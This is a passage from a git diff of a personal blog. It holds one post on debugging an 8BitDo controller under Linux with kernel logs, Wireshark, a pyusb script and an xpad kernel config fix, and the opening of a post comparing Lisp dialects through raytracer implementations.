[[https://en.wikipedia.org/wiki/Fediverse][the Fediverse]] and viewing enough of their marketing materials to see that the controller I was interested in was [[https://www.8bitdo.com/ultimate-bluetooth-controller/#content-1-9][supported by SteamOS]][fn:2]. That was enough to encourage me to put in an order, so I did, and patiently awaited their arrival. When they were finally in my hands, I plugged two of them into my media center, hoping to play some Mario Kart with [[https://hewwo.ooo/][Oli]]. They were clearly working in some capacity because [[https://en.wikipedia.org/wiki/RetroArch][RetroArch]] pops up a [[https://en.wikipedia.org/wiki/Pop-up_notification][toast]] when it detects that a controller has been plugged in, but something was wrong. I twiddled the analog sticks and I mashed the buttons. Nothing seemed to happen. + +This was potentially a hardware issue, so a natural first step is to check the [[https://en.wikipedia.org/wiki/Dmesg][kernel logs]]. We're lucky to find a wealth of information to help us troubleshoot. Unfortunately, some of these clues hint that the controllers may not be as well-supported under GNU/Linux as I had previously imagined. The read-out below begins at the point I plug the controller (or 2.4 GHz dongle) into my computer. + +#+BEGIN_SRC prog +... +[ 1184.030714] usb 3-1.2: new full-speed USB device number 3 using ehci-pci +[ 1184.115318] usb 3-1.2: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 +[ 1184.115327] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 +[ 1184.115331] usb 3-1.2: Product: 8BitDo Ultimate Controller +[ 1184.115333] usb 3-1.2: Manufacturer: 8BitDo +[ 1184.115336] usb 3-1.2: SerialNumber: 36d4f8d817e4 +[ 1184.127567] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/input/input28 +[ 1184.127627] usbcore: registered new interface driver xpad +[ 1184.139303] input input28: unable to receive magic message: -121 +[ 1185.336638] usb 3-1.2: USB disconnect, device number 3 +[ 1185.517720] usb 3-1.2: new full-speed USB device number 4 using ehci-pci +[ 1185.599178] usb 3-1.2: New USB device found, idVendor=057e, idProduct=2009, bcdDevice= 2.00 +[ 1185.599187] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 +[ 1185.599190] usb 3-1.2: Product: Pro Controller +[ 1185.599193] usb 3-1.2: Manufacturer: Nintendo.Co.Ltd. +[ 1185.599195] usb 3-1.2: SerialNumber: 000000000001 +[ 1185.601479] input: Nintendo.Co.Ltd. Pro Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/0003:057E:2009.0005/input/input29 +[ 1185.601541] hid-generic 0003:057E:2009.0005: input,hidraw4: USB HID v1.11 Joystick [Nintendo.Co.Ltd. Pro Controller] on usb-0000:00:1d.0-1.2/input0 +[ 1188.920613] usb 3-1.2: USB disconnect, device number 4 +[ 1189.109706] usb 3-1.2: new full-speed USB device number 5 using ehci-pci +[ 1189.193909] usb 3-1.2: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 +[ 1189.193918] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 +[ 1189.193921] usb 3-1.2: Product: 8BitDo Ultimate Controller +[ 1189.193924] usb 3-1.2: Manufacturer: 8BitDo +[ 1189.193926] usb 3-1.2: SerialNumber: 36d4f8d817e4 +[ 1189.194505] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/input/input30 +[ 1189.206821] input input30: unable to receive magic message: -121 +[ 1190.456603] usb 3-1.2: USB disconnect, device number 5 +[ 1190.637736] usb 3-1.2: new full-speed USB device number 6 using ehci-pci +[ 1190.719644] usb 3-1.2: New USB device found, idVendor=057e, idProduct=2009, bcdDevice= 2.00 +[ 1190.719653] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 +[ 1190.719657] usb 3-1.2: Product: Pro Controller +[ 1190.719659] usb 3-1.2: Manufacturer: Nintendo.Co.Ltd. +[ 1190.719662] usb 3-1.2: SerialNumber: 000000000001 +[ 1190.721853] input: Nintendo.Co.Ltd. Pro Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/0003:057E:2009.0006/input/input31 +[ 1190.721910] hid-generic 0003:057E:2009.0006: input,hidraw4: USB HID v1.11 Joystick [Nintendo.Co.Ltd. Pro Controller] on usb-0000:00:1d.0-1.2/input0 +[ 1191.104940] usb 5-2: device descriptor read/64, error -110 +[ 1191.320864] usb 5-2: reset high-speed USB device number 2 using xhci_hcd +[ 1194.040579] usb 3-1.2: USB disconnect, device number 6 +[ 1194.220713] usb 3-1.2: new full-speed USB device number 7 using ehci-pci +[ 1194.305496] usb 3-1.2: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 +[ 1194.305505] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 +[ 1194.305509] usb 3-1.2: Product: 8BitDo Ultimate Controller +[ 1194.305511] usb 3-1.2: Manufacturer: 8BitDo +[ 1194.305514] usb 3-1.2: SerialNumber: 36d4f8d817e4 +[ 1194.306180] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/input/input32 +[ 1194.318768] input input32: unable to receive magic message: -121 +[ 1195.576570] usb 3-1.2: USB disconnect, device number 7 +[ 1195.756718] usb 3-1.2: new full-speed USB device number 8 using ehci-pci +[ 1195.838587] usb 3-1.2: New USB device found, idVendor=057e, idProduct=2009, bcdDevice= 2.00 +[ 1195.838595] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 +[ 1195.838599] usb 3-1.2: Product: Pro Controller +[ 1195.838601] usb 3-1.2: Manufacturer: Nintendo.Co.Ltd. +[ 1195.838604] usb 3-1.2: SerialNumber: 000000000001 +[ 1195.840810] input: Nintendo.Co.Ltd. Pro Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/0003:057E:2009.0007/input/input33 +[ 1195.840984] hid-generic 0003:057E:2009.0007: input,hidraw4: USB HID v1.11 Joystick [Nintendo.Co.Ltd. Pro Controller] on usb-0000:00:1d.0-1.2/input0 +[ 1199.160545] usb 3-1.2: USB disconnect, device number 8 +[ 1199.341723] usb 3-1.2: new full-speed USB device number 9 using ehci-pci +[ 1199.425711] usb 3-1.2: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 +[ 1199.425720] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 +[ 1199.425724] usb 3-1.2: Product: 8BitDo Ultimate Controller +[ 1199.425726] usb 3-1.2: Manufacturer: 8BitDo +[ 1199.425729] usb 3-1.2: SerialNumber: 36d4f8d817e4 +[ 1199.426262] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/input/input34 +[ 1199.438796] input input34: unable to receive magic message: -121 +... +#+END_SRC + +Let's break down what we're being told here. + +1. When I plug the controller into my computer, it advertises itself as "8BitDo Pro 2 Wired Controller" (=2dc8:3106=), which the kernel recognizes and loads the =xpad= module to handle. + 1. =xpad= is for devices that emulate various Xbox controllers. +2. =evdev= attempts to receive a "magic message" but fails with an error code of =-121=. +3. A disconnect event occurs (prompted by the controller -- I didn't unplug anything), and the controller re-appears as "Nintendo.Co.Ltd. Pro Controller" (=057e:2009=). +4. Another disconnect, and the controller re-appears as it did initially. + 1. Same "magic message" error. +5. Another disconnect, and we're back to pretending to be a Switch controller. + 1. This time, there's a device descriptor read error. +6. Repeat this again. +7. Give up after advertising one last time as =2dc8:3106=. + +Peering into the =xpad= [[https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/input/joystick/xpad.c?h=v6.10-rc4#n374][source code]], it's clear that this device /is/ supported by my kernel, but for some reason, the controller isn't sending anything. If I =cat= the device and wiggle the analog sticks, nothing shows up. + +* Is it a problem with the controller? + +At this point, I wanted to rule out that the problem wasn't the hardware itself, so I fired up my Windows 10 VM. QEMU supports USB pass-through, whereby the guest operating system effectively has direct access to the device. If the controller would work on a computer that's actually running Windows, then it should hypothetically work in a virtual machine with the controller passed through. + +Typically, you specify either a vendor and product ID to pass through (which uniquely identifies a particular brand and model of USB device), or a host bus and host address (which is an identifier that the kernel allocates to a device when it's plugged in). But because the vendor/product ID pair is oscillating, and because Linux is going to allocate a new host address for the controller each time it re-connects (because it is seen as a new device each time), I instead [[https://unix.stackexchange.com/questions/452934/can-i-pass-through-a-usb-port-via-qemu-command-line][pass through an entire USB port]][fn:3]. + +I'm met with one disconnect, initially, but I then have a "Pro Controller" device that works. If I disconnect the controller from Windows and open =SDLJoytest-GL= on my host operating system.. I get input! From this, we know that the issue is with my kernel. + +I took a bit of a break at this point, but came across this [[https://gist.github.com/ammuench/0dcf14faf4e3b000020992612a2711e2][GitHub Gist]] about getting the controller to work in Linux. The =udev= rule didn't do me any good because I'm on a recent enough kernel that upstream =xpad= already has the vendor/product ID for this controller, but the comment a few pages down from Adrian Wilkins suggests that the disconnect/reconnect behavior is because the controller is trying to figure out if it's connected to a Nintendo Switch. + +* Does it work on the Steam Deck? + +The 8BitDo website claims that the controller works on the Steam Deck, so I pulled mine out to verify and.. indeed, it does, without any of the disconnect/reconnect dance. + +#+BEGIN_SRC prog +[ 2940.018861] usb 1-1.1: new full-speed USB device number 7 using xhci_hcd +[ 2940.197350] usb 1-1.1: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 +[ 2940.197360] usb 1-1.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 +[ 2940.197363] usb 1-1.1: Product: 8BitDo Ultimate Controller +[ 2940.197365] usb 1-1.1: Manufacturer: 8BitDo +[ 2940.197367] usb 1-1.1: SerialNumber: 36d4f8d817e4 +[ 2940.305610] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:08.1/0000:04:00.3/usb1/1-1/1-1.1/1-1.1:1.0/input/input53 +[ 2940.305743] usbcore: registered new interface driver xpad +[ 2940.317356] input input53: unable to receive magic message: -121 +[ 2940.370371] input input53: unable to receive magic message: -121 +[ 2940.437335] input input53: unable to receive magic message: -121 +[ 2941.108365] input input53: unable to receive magic message: -121 +[ 2941.375444] input: Microsoft X-Box 360 pad 1 as /devices/virtual/input/input54 +#+END_SRC + +So, what gives? I'd initially thought that 8BitDo might have submitted a patch to Valve to add support for their controllers in the SteamOS kernel fork, but I cloned [[https://iliana.fyi/blog/build-your-own-steamos-updates/][the sources]] for the SteamOS version I was running and found that =xpad.c= hadn't been altered at all from upstream. I didn't see anything strange in =lsmod=, and =lsusb= told me that it really is =xpad= that's managing the controller. At this point I thought that the host detection might be implemented by something in userland, so I broke out Wireshark to investigate traffic on the USB hub. + +#+CAPTION: Two Wireshark (QT) traces: one from my workstation, and one from the Steam Deck. The delta is highlighted and explained in the following paragraphs. +[[file:sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png]] + +It takes a close eye, but we can see that the Steam Deck's kernel sends a USB interrupt /before/ polling the controller for interrupts. + +If you aren't familiar with USB, think of this as a socket. The Steam Deck's kernel is doing a =write= before doing a =read=, whereas my kernel is doing a =read= first, and this seems to be confusing the controller. (In the "bad" trace, the response to the =URB_INTERRUPT in= is =-ENOENT=.) + +The interrupt that the Steam Deck sends to the controller is just three bytes: =01 03 02=. Simple enough. Let's see if sending those bytes over fixes it. + +#+BEGIN_SRC python +#!/usr/bin/env python + +import usb.core +import usb.util + +dev = usb.core.find(find_all=True) + +for d in dev: + if d.idVendor == 0x2dc8 and d.idProduct == 0x3106: + d.detach_kernel_driver(0) + d.write(0x02, '\x01\x03\x02') + print(d.read(0x02, 0x64)) + usb.util.dispose_resources(d) + d.attach_kernel_driver(0) +#+END_SRC + +And, indeed, it does. On both my workstation and my media center, if I run this script after the controller gives up on its detection routine, it miraculously begins to work. + +Now, running a Python script manually (or even via =udev= rule) is an unappealing solution to me, so I [[https://en.wikipedia.org/wiki/Law_of_the_instrument][reached for the hammer]] to nail down a (marginally) solution. + +#+BEGIN_SRC diff +@@ -1936,7 +1936,7 @@ static void xpad_led_disconnect(struct usb_xpad *xpad) { } + + static int xpad_start_input(struct usb_xpad *xpad) + { +- int error; ++ int error, status; + + if (xpad->xtype == XTYPE_XBOX360) { + error = xpad_start_xbox_360(xpad); +@@ -1947,6 +1947,13 @@ static int xpad_start_input(struct usb_xpad *xpad) + if (usb_submit_urb(xpad->irq_in, GFP_KERNEL)) + return -EIO; + ++ status = usb_interrupt_msg(xpad->udev, usb_sndintpipe(xpad->udev, 2), "\x01\x03\x02", cpu_to_le16(3), 0, 10000); ++ ++#ifdef DEBUG ++ dev_dbg(&xpad->intf->dev, ++ "JLK: %s - interrupt message 1 returned %d\n", __func__, status); ++#endif ++ + if (xpad->xtype == XTYPE_XBOXONE) { + error = xpad_start_xbox_one(xpad); + if (error) { +#+END_SRC + +Despite seeing the "magic packet" in Wireshark traces now, I was still seeing the same disconnect/connect behavior. And after panicking my running kernel a couple of times seeing where else I could try to put my hack, I decided to take a more methodical approach. Surely, if the stack for this driver on SteamOS is the same as it is in upstream Linux, then there's some code in my worktree that sends the =01 03 02= sequence. Let's try to find that, and determine why it isn't firing. + +We don't have to search far. I found what I was looking for in about 15 minutes. + +#+BEGIN_SRC c +... +/* + ,* set the LEDs on Xbox360 / Wireless Controllers + ,* @param command + ,* 0: off + ,* 1: all blink, then previous setting + ,* 2: 1/top-left blink, then on + ,* 3: 2/top-right blink, then on + ,* 4: 3/bottom-left blink, then on + ,* 5: 4/bottom-right blink, then on + ,* 6: 1/top-left on + ,* 7: 2/top-right on + ,* 8: 3/bottom-left on + ,* 9: 4/bottom-right on + ,* 10: rotate + ,* 11: blink, based on previous setting + ,* 12: slow blink, based on previous setting + ,* 13: rotate with two lights + ,* 14: persistent slow all blink + ,* 15: blink once, then previous setting + ,*/ +static void xpad_send_led_command(struct usb_xpad *xpad, int command) +{ + struct xpad_output_packet *packet = + &xpad->out_packets[XPAD_OUT_LED_IDX]; + unsigned long flags; + + command %= 16; + + spin_lock_irqsave(&xpad->odata_lock, flags); + + switch (xpad->xtype) { + case XTYPE_XBOX360: + packet->data[0] = 0x01; + packet->data[1] = 0x03; + packet->data[2] = command; + packet->len = 3; + packet->pending = true; + break; +... +#+END_SRC + +Hm.. that looks interesting. And it wouldn't be firing because... + +#+BEGIN_SRC prog +jakob@endseal /usr/src/linux $ grep XPAD_LED .config +# CONFIG_JOYSTICK_XPAD_LEDS is not set +#+END_SRC + +Ah. + +Sure enough, recompiling =xpad= with =CONFIG_JOYSTICK_XPAD_LEDS= resolves the issue. + +What did we learn, then? That the 8BitDo Ultimate Controller firmware detects that it's plugged into a PC by... seeing if the USB host tries to turn its home button LED on. + +Neat. I spent my Sunday morning elucidating the world with this useless fact. + +Now, if you'll excuse me, I'll be using one of these four controllers to play [[https://www.mobygames.com/game/3528/goldeneye-007/][GoldenEye 64]]. By myself, mind you, because I live alone and have no friends.[fn:4] + +--- + +[fn:1] I also want to believe that putting something out there will help to ameliorate my case of chronic Writer's block -- even if it isn't as grandiose as the articles I typically publish here. + +[fn:2] This is a more consumer-friendly way of communicating that the hardware works under GNU/Linux. + +[fn:3] That StackExchange page explains how to do this with command-line arguments, but I prefer to hot-plug USB devices with QEMU so I can connect and disconnect devices without having to restart the virtual machine. I specified =-monitor stdio -usb= on the command line so that I would have the [[https://en.wikibooks.org/wiki/QEMU/Monitor#usb_add][QEMU monitor]] accessible, and a =usb-host= device allocated to the guest, and I then passed through my USB port with the monitor command =device_add usb-host,hostbus=3,hostport=1.1,id=...= + +[fn:4] This is tongue-in-cheek. No need to worry about whether I'm doing okay. This, as well as the title, are jocular nods at the stereotype that GNU/Linux users are socially awkward. diff --git a/haunt/posts/thoughts-on-lisps.org b/haunt/posts/thoughts-on-lisps.org new file mode 100644 index 0000000..c2f72cd --- /dev/null +++ b/haunt/posts/thoughts-on-lisps.org @@ -0,0 +1,1067 @@ +#+TITLE: The Many Faces of an Undying Programming Language +#+DATE: <2020-07-20 Mon 09:16> +#+TAGS: opinion programming lisp common-lisp scheme + +# I ran a [[https://mastodon.sdf.org/web/statuses/104497642847404947][poll]] on Mastodon the other day, and fewer than one fifth of the respondents indicated only knowing one dialect of Lisp. Perhaps I should have followed up and asked how many self-identified as "Lisp hackers", but I don't think it would be unfair to assume that at least some of those working with several Lisps choose to do so because they enjoy the basic properties upon which Lisp dialects are constructed. + +This is a post I've been meaning to write for a while now: one anecdotally +comparing programming languages in the Lisp family. I consider myself to be a +Lisp hacker. Perhaps that much was obvious from the letter λ adorning my +website's header, a reference to the λ-calculus which inspired John McCarthy to +design the first LISP [1]. Yet, "Lisp hacker" likely means little unless you, +too, consider yourself to be a Lisp hacker. Calling yourself one seems carry +some level of unstated meaning. Indeed, some identify with more specific groups. +"Schemer," or "Guiler," or "Racketeer," or "Clojurist." But "Lisp Hackers" ⊇ +"Schemers". There is commonality shared among all, or at least most, of these +programming languages, and the Lisp hackers recognize and appreciate that +commonality -- the characteristics that make a programming language a Lisp. +Homoiconic syntax, powerful metaprogramming facilities, and editor support that, +in my opinion, is unparalleled. (Yes, I am alluding to GNU Emacs.) This article, +however, is concerned with the differences. In it, I will be considering the +specifics of each dialect, and whether or not those specifics make for a +language I would want to use to develop a new piece of software. + +I'm specifically concerned with game development at the time of writing this +article. An idea for a turn-based tactics game came to me and I felt a Lisp +would be the best tool for realizing it, but the decision to use "a Lisp" still +leaves me with several choices. When I enumerate the notable design choices +behind each dialect, and talk about the approaches I prefer, my opinions will +be, in some capacity, framed as partial answers to the question of "will I be +able to comfortably use this to write a video game?" As such, there are a few +things I am specifically interested in: + +- *Ergonomics*, or "a measure of the friction [one experiences] when trying to get + things done" [2]. +- *Expressiveness*, or the ease with which code may be understood by a reader. +- *Performance*, which is nontrivial to properly quantify [3]. I won't be rigorous + with this; a one-off run with =time= can give a good idea of the order of + magnitude for execution time. +- *Ease of distribution*, which is difficult to define, but with which I associate + platform agnosticism, a runtime that won't bloat my tarballs by several + gigabytes, and a lack of baroque and difficult to obtain dependencies. +- *Ability to interface with other libraries*, as I'll want to be able to + draw to the screen, and play sounds, and so on. + +For each dialect, I'm allowing myself to use nonstandard functions. I'm aiming +for an evaluation of the practical aspects of each language, and if you were +writing software, you'd likely be using more than what's included in the R5RS or +ANSI CL standards. Though, if these nonstandard functions are specific to a +single implementation, I will avoid them. SRFI's and QuickLisp are fair game, +but CHICKEN's Eggs are not. Ah, I'm already getting ahead of myself. Yes, I will +be comparing Scheme and Common Lisp. I almost have to -- the history of Lisp +tends to be spun as a schism between Common Lisp and Scheme. I will be speaking +of a few others as well. I've mostly chosen dialects for which there exists some +"game engine" type library. For R7RS (CHICKEN), there is [[http://alex-charlton.com/projects/Hypergiant/][Hypergiant]], for R6RS +(Guile) there is [[https://dthompson.us/projects/chickadee.html][Chickadee]], for Common Lisp there is [[http://www.xelf.me/][Xelf]], and for Fennel there +is, of course, [[https://love2d.org/][LÖVE]]. + +#+CAPTION: My take on the drawing in Conrad Barski's /Land of Lisp/. From left to right: Common Lisp, Scheme, +Haskell+ Fennel. +[[file:lisp-personality-test.png]] + +What follows are my opinions, so I'd like to lead with the background that +motivated them. My earliest "serious" experience with Lisp was with Peter +Seibel's /Practical Common Lisp/, which I picked up in high school following a +failed attempt at reading /Structure and Interpretation of Computer +Programs/.[fn:1] The portion of the latter book that I did manage was enough to +convince me that learning _a_ Lisp would be valuable, but that learning Common +Lisp may be more tractable than learning Scheme. The summer following my first +year of university, I taught myself Scheme to do [[http://summerofcode.withgoogle.com/][GSoC]] for [[https://guix.gnu.org/][GNU Guix]]. Guile +quickly grew on me, and I soon began [[http://jakob.space/blog/transition-to-haunt.html][using Haunt]] for my personal website. I've +been unknowingly using Emacs Lisp since much earlier -- not in the sense of +writing packages -- my old man taught me how to use Emacs when I was nine, but I +was [[https://www.gnu.org/software/emacs/manual/html_node/emacs/Easy-Customization.html][mostly shielded from having to write =setq= forms]]. I've also used [[https://docs.hylang.org/en/stable/][Hy]], [[https://fennel-lang.org/][Fennel]], +... well, I'm wildly off track now. Point being, I've used many Lisps, and I've +subconsciously acknowledged the differences between them, but never turned that +acknowledgment into coherent thought. + +To aid in the comparison, I've written the same raytracer in several dialects of +Lisp. My reasons for choosing a raytracer are that: + +- I'm reasonably familiar with how they work. +- Performance matters, and differences in performance is noticeable. +- It's nontrivial, but several implementations of a raytracer is also more + tractable than, say, several implementations of a high-performance database. + +Another consideration was the number of advancements in raytracing that build +upon the same basic structure, potentially giving me a way to compare the ease +with which a change to a system can be made, but writing these raytracers took +enough out of me that I didn't want to play with them any more. + +This was not nearly as telling of a comparison as I had hoped. Once I'd +completed the first raytracer, everything that followed had the same structure. +Regardless, writing these raytracers gave me an idea of the characteristics I +was interested in, especially performance. For anyone who would like to look at +the code, the implementations are available [[https://git.sr.ht/~jakob/lisp-raytracer-zoo][here]]. + +*Table of Contents* + +- [[*The Issue of Rendering an Image][The Issue of Rendering an Image]] +- [[*Scheme][Scheme]] + - [[*R7RS][R7RS]] + - [[*R6RS][R6RS]] + - [[*Conclusions on Scheme][Conclusions on Scheme]] +- [[*Common Lisp][Common Lisp]] + - [[*Conclusions on Common Lisp][Conclusions on Common Lisp]] +- [[*Fennel][Fennel]] + - [[*Conclusions on Fennel][Conclusions on Fennel]] +- [[*Lisps I've Neglected][Lisps I've Neglected]] + - [[*Emacs Lisp][Emacs Lisp]] + - [[*Gerbil Scheme][Gerbil Scheme]] + - [[*Racket][Racket]] + - [[Janet][Janet]] + - [[*Clojure][Clojure]] + +* The Issue of Rendering an Image + +Well, if we're writing a raytracer, then, we had better have some way of seeing +the results. The issue is portability. Ideally, I'd like to be able to run the +raytacers on different implementations of each language, but none of them have +standardized support for drawing graphics. An idea I had was to render the image +to the terminal using ANSI escape sequences, but I thought the resulting images +would be quite shitty. Instead, I decided to go the [[https://github.com/ssloy/tinyrenderer/wiki/Lesson-0-getting-started][route that tinyrenderer +takes]], which is to output to an image file. Initially, the image format I went +with was the venerable PNG. This was a mistake. Even if it did lead to a rather +elegant CRC procedure in Scheme. + +#+BEGIN_SRC scheme +(define (chunk-crc bytes) + (define (process-byte crc byte) + (bitwise-xor (vector-ref png-crc (bitwise-and #xff (bitwise-xor crc byte))) + (arithmetic-shift crc -8))) + (reduce process-byte bytes #xffffffff)) +#+END_SRC + +Realizing PNG was needlessly complex, I went on to write a [[https://git.sr.ht/~jakob/lisp-raytracer-zoo/tree/master/write-bmp.scm][BMP encoder]], which +was fine until I came across [[https://nullprogram.com/blog/2017/11/03/][an article]] from Chris Wellons about rendering video +with C by encoding frames as [[http://netpbm.sourceforge.net/doc/][Netpbm]] images. I decided to scrap my BMP encoder +and go with PPM instead. Netpbm is text-based: the issue with a PNG or BMP +encoder in Scheme, for example, is that you're dealing with a binary format. +Glancing over the standards now, it seems there are, indeed, standardized +procedures for dealing with binary data in both R6RS and R7RS. Regardless, +dealing with those binary structures and having to consider endianness is a +pain. PPM is _dead_ simple. In fact, I'd wager that if all you had access to were +the examples on the [[https://en.wikipedia.org/wiki/Netpbm][Wikipedia]] page, you'd be able to write an encoder. Here's +the Scheme implementation: + +#+BEGIN_SRC scheme +(define (write-ppm width height pixels) + "Encode the WIDTH by HEIGHT image given as PIXELS into the portable pixmap +format (PPM), writing the result to `(current-output-port)'." + (define (delimit-values values) + (cond ((null? values) + (newline)) + ((= 1 (length values)) + (display (car values)) + (delimit-values (cdr values))) + (else + (display (car values)) + (display " ") + (delimit-values (cdr values))))) + + ;; Magic + (delimit-values '("P3")) + + ;; Dimensions + (delimit-values (list width height)) + + ;; Depth + (delimit-values '("255")) + + ;; Image contents + (for-each delimit-values (vector->list pixels))) +#+END_SRC + +If you do away with my nice formatting, that's twelve lines of code, all of +which are R5RS-compatible. We have access to the Netpbm suite, too, so if we +want a PNG, we can always =./write-ppm | pnmtopng > test.png=. Netpbm is a +real hidden gem. Well, hidden to me, at least. + +* Scheme + +If you aren't familiar with Scheme, it has somewhat of a self-imposed[fn:2] +reputation for appealing to academic types. It's also one of the most +opinionated languages I know of; all the specs of interest lead with an +assertion that "programming languages should be designed not by piling feature +on top of feature, but by removing the weaknesses and restrictions that make +additional features appear necessary." The way that Scheme embraces purity and +simplicity makes it clear it was designed by math nerds. (Hey, I'm a math nerd, +too. Take it easy.) + +As I've just mentioned, there are specs. A few, to be sure. The evolution of +Scheme standards begins in a linear fashion: RRS → RRRS → R3RS → R4RS → R5RS. I +like to think of this as "classic Scheme". But when it came time to revise R5RS, +the ratification of the subsequent R6RS caused some controversy. It was +"bloated", or whatever. Something like that. So when it came time to design R7RS +(small), the Scheme Language Steering Committee decided to let the language +fork, beginning with the earlier R5RS as a blank slate [4]. That way, the nerds +that hated everything about R6RS could have their way, and the nerds that liked +R6RS could have their way. Scheme was divided, but at peace. Oh, and nowadays +there's a work-in-progress [[https://bitbucket.org/cowan/r7rs-wg1-infra/src/default/R7RSHomePage.md][R7RS-large]]. ಠ_ಠ + +I'm not going to talk about R7RS-large here. It's just too new. + +The standards are all extremely short. R5RS is 50 pages. R7RS is larger (n ≈ 88) +[11], and R6RS is quite a bit larger (n ≈ 163) [11], but they still clock in at +fewer pages than any other language spec I know of. You can't pack a whole lot +into 50 pages, so there is a de-facto standard library: [[https://srfi.schemers.org/][Scheme Requests for +Implementation]], or SRFI. + +** R7RS + +Because I'm slightly biased towards R6RS, I began this journey with R7RS, +thinking that returning to the problem with R6RS instead would give me a sense +of how much it really brings to the table. There are [[https://small.r7rs.org/wiki/ImplementationSupport/][a few implementations]] of +R7RS out in the wild. The one I tried was [[http://call-cc.org/][CHICKEN]], which is not officially an +R7RS Scheme, but supports the R7RS standard as an Egg (library). It took some +effort, but I did get =company-mode= & friends working in Emacs for CHICKEN. The +[[https://wiki.call-cc.org/faq#how-can-i-install-chicken-eggs-to-a-non-default-location][documentation]] for installing Eggs to a non-default location is out-of-date, but +if you copy the system libraries to your =CHICKEN_INSTALL_REPOSITORY=, you'll be +fine. A minor complaint regarding Geiser (or more accurately, =scheme-mode=): it +doesn't seem to be able to properly highlight or indent user-defined macros. +Perhaps that's something I could fix someday. + +A disadvantage to picking a hobbyist Scheme implementation is that they aren't +battle-hardened. In writing this post, I managed to discover [[http://bugs.call-cc.org/ticket/1703][a regression]] in the +latest version of CHICKEN, where my procedure was being called with parameters +in the wrong order. So, at least for this article, I am using 4.13.0. Gentoo +also doesn't have Chicken 5 yet, but in terms of stability, perhaps that's a +good thing. + +So, what does R7RS add to "classic Scheme" that I care about? + +- Standardized records. +- Standardized bytevectors. +- A way of defining libraries. +- =parameterize=, which is something I dealt with in Guix that I'd nearly + forgotten about. If you aren't familiar with it, the best way I can describe + it is a way of emulating dynamic scope. +- =when= and =unless=, which are trivial to implement yourself, but it's always nice + not having to write them. +- =case-lambda=. +- =vector-map=, =vector-for-each=. + +There's more to R7RS, of course, but these are the things that stand out to me. +The spec has a section starting on page 77 titled "Language Changes" which +outlines the incompatibilities with R5RS and R6RS, as well as the additions to +R5RS. + +On the topic of the R7RS spec, I think it's worth reading for anyone who +produces technical writing in some capacity, even if you don't care much for +Scheme -- much like how K&R[fn:3] is worth reading even if you don't care about +C -- they're both great examples of writing that's concise, but doesn't +sacrifice comprehensibility. The design choices are also quite well thought-out, +and I think that's worth appreciating. For example, they support only the file +system operations which are universally portable [5]. This means no support for +creating or manipulating directories. Such a restriction may sound primitive, +but the common alternative in providing a portable filesystem abstraction is +[[https://fasterthanli.me/articles/i-want-off-mr-golangs-wild-ride][rather unpleasant]]. If you need to be manipulating directories in such a way, +seek a POSIX interface rather than a filesystem interface. + +The hygenic macro system has been in Scheme since R5RS, but this was the first +time I'd actually used it. I've written plenty of macros in Common Lisp and +Emacs Lisp with =defmacro=, but this was a breath of fresh air. + +#+BEGIN_SRC scheme +(define-syntax vec3-bind + (syntax-rules () + ((vec3-bind ((names vec) ...) + body) + (let-values ((names (values (vec3-x vec) + (vec3-y vec) + (vec3-z vec))) + ...) + body)))) +#+END_SRC + +This worked on the first try. Once you read a [[http://www.willdonnelly.net/blog/scheme-syntax-rules/][tutorial]] on it, it's more +intuitive than building an AST "by-hand". Here's a slightly less trivial +example: + +#+BEGIN_SRC scheme +(define-syntax maybe-bind + (syntax-rules () + ((maybe-bind ((name option) ...) + body) + (if (every is-some? (list option ...)) + (let ((name (unwrap option)) + ...) + body))))) +#+END_SRC + +I know, I know. This isn't the proper way to deal with an option type. I should +have brushed up on the =mlet*= implementation in Guix. But this sufficed for what +I needed to do. + +Come to think of it, my choice to create an option type for a dynamically-typed +language is a bit strange, no? Rust has apparently left me yearning for the +ability to =map= over things which are logically equivalent to options, and [[https://srfi.schemers.org/srfi-2/srfi-2.html][SRFI-2]] +and the likes didn't cross my mind at the time I wrote this. + +All in all? Writing a raytracer in vanilla R7RS was reasonably easy. My biggest +gripe was debugging. CHICKEN has essentially no stack traces. It has a "call +history", but that gives very little context for where something's being called +/from/. No line numbers, either. + +** R6RS + +R7RS actually draws quite a bit from R6RS, and both are, for the most part, +backwards-compatible with R5RS. So I /should/ be able to run the R7RS version of +my raytracer with an R6RS implementation like Chez, right? For the most part, +yeah. I needed to deal with exactly two things: =error= now takes a "who" +parameter, and the R7RS =define-record-type= is almost nothing like the equivalent +in R6RS. + +This isn't represented in the more recent commits, but there were also a few +nonstandard things in CHICKEN I was depending on that needed to be changed. In +Chez, and other Schemes, nested =defines= need to be the absolute first thing in +the form. This was incompatible with the little documentation strings I'd put at +the beginning of my procedures, which, in the implementations that I'm using, +[[https://mdhughes.tech/2018/11/18/inline-documentation-or-lack-thereof-in-scheme/][don't do anything anyway]]. I was also using SRFI-1's =every=, but I replaced that +with a call to a standard R6RS 